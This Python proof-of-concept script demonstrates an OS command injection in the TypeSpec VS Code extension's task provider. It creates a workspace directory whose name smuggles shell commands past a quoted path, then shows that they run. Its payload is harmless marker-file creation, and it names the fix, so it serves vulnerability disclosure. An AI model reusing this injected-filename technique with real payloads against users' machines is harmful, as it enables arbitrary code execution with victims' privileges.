#!/usr/bin/env python3
"""
PoC for VULN-001: VS Code Task Shell Command Injection via Workspace Path
Repository  : microsoft/typespec v1.14.0 (commit d88ddc16)
CWE         : CWE-78 — OS Command Injection
CVSS        : 7.8 High  (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Vulnerable  : packages/typespec-vscode/src/task-provider.ts:80

Root cause:
  The TypeSpec VS Code extension discovers all `main.tsp` files inside the
  opened workspace and constructs a shell command by directly interpolating
  the file path (which is attacker-controlled via the directory name) into a
  template literal:

    // task-provider.ts:80
    let cmd = `${cli.command} ${cli.args?.join(" ") ?? ""} compile "${absoluteTargetPath}" ${args}`;

  The resulting string is then passed to vscode.ShellExecution (task-provider.ts:99),
  which runs it with /bin/bash on Linux/macOS.  No shell escaping is applied.

Attack scenario:
  1. Attacker distributes a repository whose root directory contains a
     sub-directory whose name embeds shell metacharacters (e.g. a closing
     double-quote followed by arbitrary commands).
  2. Victim opens the repository in VS Code with the TypeSpec extension active.
  3. Victim runs the auto-generated "typespec: compile" task.
  4. Injected commands execute with the victim's OS privileges.

This PoC reproduces step 3 by delegating to task-provider-snippet.js, which
contains a verbatim copy of the vulnerable line 80 and executes the resulting
command string via /bin/bash (equivalent to vscode.ShellExecution on Linux).
"""

import os
import subprocess
import sys
import tempfile

# Marker files created by the injected payload — proof of code execution
MARKER_1 = "/tmp/typespec_injection_marker"
MARKER_2 = "/tmp/typespec_injection_result"

SNIPPET = "/app/task-provider-snippet.js"

SEP = "=" * 64


def banner(msg: str) -> None:
    print(f"\n{SEP}")
    print(f"  {msg}")
    print(SEP)


def run_snippet(malicious_path: str) -> subprocess.CompletedProcess:
    """Invoke the Node.js simulation of task-provider.ts with the crafted path."""
    return subprocess.run(
        ["node", SNIPPET, malicious_path],
        capture_output=True,
        text=True,
        timeout=20,
    )


def main() -> int:
    banner("VULN-001 — TypeSpec VS Code Task Shell Injection PoC")

    # Clean up from previous runs
    for f in [MARKER_1, MARKER_2]:
        if os.path.exists(f):
            os.unlink(f)

    # ── Step 1: Build the malicious workspace directory structure ─────────────
    print("\n[1] Creating malicious workspace directory...")

    base_dir = tempfile.mkdtemp(prefix="typespec-poc-")
    print(f"    Base directory : {base_dir}")

    # The directory name injects two commands after breaking out of the
    # double-quoted argument via a literal `"` character:
    #
    #   evil dir name : workspace"; touch MARKER_1; touch MARKER_2; #
    #
    # Resulting shell command (task-provider.ts:80 output):
    #
    #   tsp  compile "/base/workspace"; touch MARKER_1; touch MARKER_2; #/main.tsp"
    #                                  ^─────────────────────────────────^ injected
    injection_payload = (
        f'; touch {MARKER_1}; touch {MARKER_2}; #'
    )
    evil_dir_name = f'workspace"{injection_payload}'
    evil_dir = os.path.join(base_dir, evil_dir_name)

    os.makedirs(evil_dir, exist_ok=True)
    print(f"    Malicious dir  : {repr(evil_dir_name)}")

    # Place a valid main.tsp inside so the extension's findFiles() picks it up
    main_tsp = os.path.join(evil_dir, "main.tsp")
    with open(main_tsp, "w") as fh:
        fh.write("namespace Demo;\n")
    print(f"    main.tsp path  : {main_tsp}")

    # ── Step 2: Show the command that task-provider.ts:80 would construct ─────
    print("\n[2] Command string as constructed by task-provider.ts:80:")
    simulated_cmd = f'tsp  compile "{main_tsp}" '
    print(f"    {simulated_cmd}")
    print()
    print("    Shell parsing breakdown:")
    print(f"    [cmd 1]  tsp  compile \"{base_dir}/workspace\"   ← closes at injected '\"'")
    print(f"    [cmd 2]  touch {MARKER_1}                     ← INJECTED")
    print(f"    [cmd 3]  touch {MARKER_2}                     ← INJECTED")
    print(f"    [rest ]  #/main.tsp\"                           ← comment, ignored")

    # ── Step 3: Execute via Node.js simulation (task-provider-snippet.js) ─────
    print("\n[3] Invoking task-provider-snippet.js (simulates vscode.ShellExecution)...")
    result = run_snippet(main_tsp)

    print(f"    Node.js exit code : {result.returncode}")
    if result.stdout.strip():
        for line in result.stdout.strip().splitlines():
            print(f"    [node] {line}")
    if result.stderr.strip():
        for line in result.stderr.strip().splitlines():
            print(f"    [node/err] {line}")

    # ── Step 4: Verify exploitation ───────────────────────────────────────────
    print("\n[4] Checking injection markers...")

    m1_ok = os.path.exists(MARKER_1)
    m2_ok = os.path.exists(MARKER_2)

    print(f"    {MARKER_1} : {'CREATED ✓' if m1_ok else 'MISSING ✗'}")
    print(f"    {MARKER_2} : {'CREATED ✓' if m2_ok else 'MISSING ✗'}")

    # ── Final verdict ─────────────────────────────────────────────────────────
    if m1_ok and m2_ok:
        banner("EXPLOIT SUCCESS — Shell injection confirmed")
        print("  Both marker files created by injected shell commands.")
        print("  Proof: arbitrary OS commands execute with victim privileges when")
        print("         vscode.ShellExecution processes the unescaped path string.")
        print(f"\n  Vulnerable line : task-provider.ts:80")
        print(f"  Sink            : new vscode.ShellExecution(cmd, ...)")
        print(f"  Fix             : use vscode.ProcessExecution with argv array instead")
        print()
        return 0
    else:
        banner("EXPLOIT FAILED")
        print("  Marker files were not created. Check that:")
        print("  - Node.js is installed and /app/task-provider-snippet.js is present")
        print("  - /tmp is writable inside the container")
        print()
        return 1


if __name__ == "__main__":
    sys.exit(main())